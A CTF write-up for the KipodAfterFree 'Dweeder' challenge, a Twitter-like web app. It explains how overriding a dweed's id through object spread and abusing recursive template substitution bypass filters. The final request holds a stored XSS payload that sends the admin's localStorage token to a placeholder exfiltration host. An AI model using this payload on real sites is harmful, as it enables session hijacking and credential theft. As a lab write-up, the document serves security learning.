This post spoils a CTF challenge … Don’t read if you want to try it !

KipodAfterFree CTF is a Jeopardy-style information security competition hosted by KipodAfterFree CTF team. I registered late, so I only had time to do 2 challenges before the end of the CTF. Btw, the challenges were really interesting and will be left online until the end of November if you want to try them out.

[+] Presentation

“Dweeder is just like a large communication platform except that you can only use it with a plugged nose” - @shuky, 2020

https://dweeder.ctf.kaf.sh/

[+] Recon

We are facing a simple Twitter-like website with a login form. The login is composed with a public part (the handle) and a private one.

Once logged in, there are 3 options. First, we can compose a dweed (with title and content). Please note that it is possible to mention another user by using “@USER_NAME” in the content of the dweed.

Then, you can list all dweeds mentionning you.

The admin (@shuky) states that he’s monitoring the site and will open all messages in which he is mentionned. Looks like an XSS challenge.

The third option is not useful for the challenge, but you can browse all the dweeds posted by other challengers.

We can notice that this web application is mostly an API and a client-side framework which requests the API and shows us the results. It is also possible to open the dweeds by clicking them.

The main web application loop is the following (I added some extra comments) :

window.addEventListener("load", async function () {
    // Load modules
    await Module.import("UI");
    await Module.import("API");

    // Check whether login is needed
    if (!window.localStorage.getItem("token")) {
        UI.view("setup"); //If there is no token in localStorage, invite the user to register
    } else {
        let parameters = new URLSearchParams(window.location.search);
        if (parameters.has("dweed")) {
            loadDweed(parameters.get("dweed")); //load a specific dweed by its id (?dweed=DWEED_ID_HERE)
        } else {
            loadDweeds(); //load the feed
        }
    }
});

The “mentions”, “feed” and “compose” button are bound to Javascript functions:

<p tiny center onclick="UI.view('compose');">Compose</p>
<p tiny center onclick="UI.view('dweeds'); loadDweeds()">Feed</p>
<p tiny center onclick="UI.view('dweeds'); loadMentions()">Mentions</p>
<p tiny center onclick="window.localStorage.clear(); window.location.reload();">Logout</p>

Here are the associated functions :

function insertDweed(dweed) {
    // Find the template
    let template = UI.find("dweed-" + dweed.display);
    if (template === null)
        template = UI.find("dweed-normal");
    // Make sure id is valid
    if (dweed.id.length > 28)
        return;
    for (let char of dweed.id)
        if ("0123456789 abcdefghijklmnopqrstuvwxyz ABCDEFGHIJKLMNOPQRSTUVWXYZ !@#$%^&*()_-+={}|".includes(char) === false)
            return;
    // Add the dweed
    UI.find("dweeds").appendChild(UI.populate(template, dweed));
}

function writeDweed() {
    API.call("dweeder", "writeDweed", {
        token: window.localStorage.getItem("token"),
        title: UI.read("write-title"),
        contents: UI.read("write-contents")
    }).then((id) => {
        window.location = "?dweed=" + id;
    }).catch(alert);
}

function readDweed(id) {
    return new Promise((resolve, reject) => {
        API.call("dweeder", "readDweed", {
            token: window.localStorage.getItem("token"),
            id: id
        }).then((dweed) => {
            // Ensure dweed structure
            if (!dweed.hasOwnProperty("title"))
                reject("Missing title property");
            if (!dweed.hasOwnProperty("contents"))
                reject("Missing contents property");
            if (!dweed.hasOwnProperty("handle"))
                reject("Missing handle property");
            if (!dweed.hasOwnProperty("time"))
                reject("Missing date property");
            // Resolve
            resolve(dweed);
        }).catch(reject);
    });
}

function loadDweed(id) {
    UI.clear("dweeds");
    readDweed(id).then((dweed) => {
        insertDweed({
            id: id,
            ...dweed,
            display: "normal"
        });
    }).catch(alert);
}

function loadDweeds() {
    UI.clear("dweeds");
    API.call("dweeder", "listDweed", {
        token: window.localStorage.getItem("token")
    }).then((list) => {
        for (let id of list.slice(-10)) {
            readDweed(id).then((dweed) => {
                insertDweed({
                    ...dweed,
                    display: "normal",
                    id: id
                });
            }).catch(alert);
        }
    }).catch(console.warn);
}

function loadMentions() {
    UI.clear("dweeds");
    API.call("dweeder", "listMentions", {
        token: window.localStorage.getItem("token")
    }).then((list) => {
        for (let id of list) {
            readDweed(id).then((dweed) => {
                // Insert dweed
                insertDweed({
                    display: "normal",
                    ...dweed,
                    id: id
                });
            }).catch(alert);
        }
    }).catch(console.warn);
}

On the API side, dweeds are created with the following request to apis/dweeder/?writeDweed, which returns us the randomly generated id of the dweed :

------WebKitFormBoundaryBMbsD8z0stKDVPNg
Content-Disposition: form-data; name="token"

YOUR_SECRET_TOKEN_FROM_LOCAL_STORAGE
------WebKitFormBoundaryBMbsD8z0stKDVPNg
Content-Disposition: form-data; name="contents"

@yologt Hi mate
------WebKitFormBoundaryBMbsD8z0stKDVPNg
Content-Disposition: form-data; name="title"

Hey !
------WebKitFormBoundaryBMbsD8z0stKDVPNg--

Also, dweeds can be read from the API with the following request to apis/dweeder/?readDweed :

------WebKitFormBoundaryBMbsD8z0stKDVPNg
Content-Disposition: form-data; name="token"

eyJleHBpcnkiOm51bGwsImNvbnRlbnQiOnsibmFtZSI6IjEiLCJoYW5kbGUiOiIxIn19:uxf/krfj1ERWO+Sydm0yQ3r8WdfhKOR9p2tM3nifqMg=
------WebKitFormBoundaryBMbsD8z0stKDVPNg
Content-Disposition: form-data; name="id"

DWEED_ID
------WebKitFormBoundaryBMbsD8z0stKDVPNg

It returns us the dweed as a JSON object :

{
    "result":
        {
            "contents":"@yologt Hi mate", //controled field
            "title":"Hey !", //controled field
            "time":"15:46",
            "handle":"1"
        },
    "status":true
}

[+] Exploitation

1- Finding the sink

When you click a dweed from your mentions (as the admin does), you are basically redirected to /?dweed=DWEED_ID.

The following loadDweed function is then called with this id:

function loadDweed(id) {
    UI.clear("dweeds"); //clear the actual displayed dweeds
    readDweed(id).then((dweed) => { //readDweed requests the API to get the dweed
        insertDweed({ //insertDweed populate a template with the object given as parameter
            id: id,
            ...dweed,
            display: "normal"
        });
    }).catch(alert);
}

The dweed object structure is the following (from the API) :

{
    "contents":"@yologt Hi mate", //controled field
    "title":"Hey !", //controled field
    "time":"15:46",
    "handle":"1"
}

So, as we control the content and the title, we could try to inject an XSS payload inside in order to be reflected in the template. The problem is that a filter is in place in the templating framework :

// Sanitize value using the default HTML sanitiser of the target browser
let sanitizer = document.createElement("p");
sanitizer.innerText = value;
value = sanitizer.innerHTML;

This kind of filtering approach is pretty strong against XSS in HTML context.

Dweeds are rendered in the following template :

<template id="dweed-normal">
    <div style="margin: 1vh;" onclick="window.location = '?dweed=${id}'" button column>
        <p small left>@${handle}: ${title}</p>
        <p tiny left>${contents}</p>
    </div>
</template>

Since contents and title are effectively used in an HTML context, we can’t inject anything here. The last candidate is id. The problem is that we have no control over the id value since it is directly grabbed from the API and randomly generated by the server.

2- Taking over the id

We can notice that if the dweed grabbed from the API has an id parameter, this id will overwrite the id used for rendering the dweed because of the 3 dots right here :

        insertDweed({ //insertDweed populate a template with the object given as parameter
            id: id,
            ...dweed,
            display: "normal"
        });

After a bit of research, I found that the server is accepting other parameters than the default ones content and title for creating a dweed. We can add fields to the resulting dweed object by simply adding parameters at the dweed’s creation. So we can insert an id field in the dweed and control the id value :

------WebKitFormBoundaryBMbsD8z0stKDVPNg
Content-Disposition: form-data; name="token"

YOUR_SECRET_TOKEN_FROM_LOCAL_STORAGE
------WebKitFormBoundaryBMbsD8z0stKDVPNg
Content-Disposition: form-data; name="id"

yolo
------WebKitFormBoundaryBMbsD8z0stKDVPNg
Content-Disposition: form-data; name="contents"

@yologt Hi mate
------WebKitFormBoundaryBMbsD8z0stKDVPNg
Content-Disposition: form-data; name="title"

Hey !
------WebKitFormBoundaryBMbsD8z0stKDVPNg--

It returns us the dweed as a JSON object :

{
    "result":
        {
            "contents":"@yologt Hi mate", //controled field
            "id":"yolo", //controled field
            "title":"Hey !", //controled field
            "time":"15:46",
            "handle":"1"
        },
    "status":true
}

At first sight, we can think that it’s an easy win : we have an injection in a Javascript context, our input is filtered for HTML context, so basically have XSS. Yes, but there is a second filter specially crafted for id :

if (dweed.id.length > 28)
    return;
for (let char of dweed.id)
    if ("0123456789 abcdefghijklmnopqrstuvwxyz ABCDEFGHIJKLMNOPQRSTUVWXYZ !@#$%^&*()_-+={}|".includes(char) === false)
        return;

Since the injection occurs in a Javascript string, we need to inject a ' to escape the string and execute code but ' is not allowed here.

3- Bypassing id’s filter

After reading the templating framework code, I realized that the template parser is recursive : it takes all the fields of the object passed as parameter, search the template for the string ${FIELD_NAME} and replace it by its value. So, if a field foo has a value like ${bar}, the template will first replace ${foo} by ${bar} and then replace ${bar} by bar's value.

if (!value.includes(search))
    while (html.includes(search))
        html = html.replace(search, value);

We can use this behavior to escape the filter on id : we just need to set id to the value ${title} and perform our XSS injection through the title field.

4- Putting it all together

The final payload is contained in the following request (do not forget to mention the admin !) :

------WebKitFormBoundaryBMbsD8z0stKDVPNg
Content-Disposition: form-data; name="token"

YOUR_SECRET_TOKEN_FROM_LOCAL_STORAGE
------WebKitFormBoundaryBMbsD8z0stKDVPNg
Content-Disposition: form-data; name="id"

${title}
------WebKitFormBoundaryBMbsD8z0stKDVPNg
Content-Disposition: form-data; name="contents"

@shuky Hi mate
------WebKitFormBoundaryBMbsD8z0stKDVPNg
Content-Disposition: form-data; name="title"

" onfocus="a=(function(){request=new XMLHttpRequest();request.open('GET','https://EXFILTRATION_ENDPOINT/?c='+localStorage.getItem('token'),false);request.send(null);})()" autofocus contenteditable bla="
------WebKitFormBoundaryBMbsD8z0stKDVPNg--

Since the admin bot was using Chrome headless, it was required to craft an XSS payload which is automatically triggered in Chrome. This payload doesn’t work without user-interaction in Firefox. The flag was base64 encoded in the admin’s token, which you can exfiltrate with an HTTP request.

Flag : KAF{_w3ll_th4t5_wh4t_b4d_c0d3_l00k5_l1ke}

[+] Bye

Feel free to tell me what you think about this post :)